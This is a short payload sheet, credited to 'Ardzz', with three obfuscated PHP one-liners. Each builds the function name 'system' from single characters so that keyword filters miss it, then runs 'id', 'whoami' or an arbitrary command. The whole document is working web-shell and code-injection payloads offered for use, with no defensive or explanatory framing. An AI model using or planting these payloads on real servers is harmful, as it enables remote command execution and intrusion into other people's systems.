Manipulation Function in PHP

// payload created by Ardzz <3
<?php $a="s";$b="y";$c="s";$d="t";$e="e";$f="m";$g=$a.$b.$c.$d.$e.$f;$h="i";$i="d";$g($h.$i);?> // print id of current user
<?php $a="s";$b="y";$c="s";$d="t";$e="e";$f="m";$g=$a.$b.$c.$d.$e.$f;$h="w";$i="h";$j="o";$k="a";$l="m";$m="i";$g($h.$i.$j.$k.$l.$m);?> // print current user
<?php $a="s";$b="y";$c="s";$d="t";$e="e";$f="m";$g=$a.$b.$c.$d.$e.$f;$g($your_command);?> // call function system()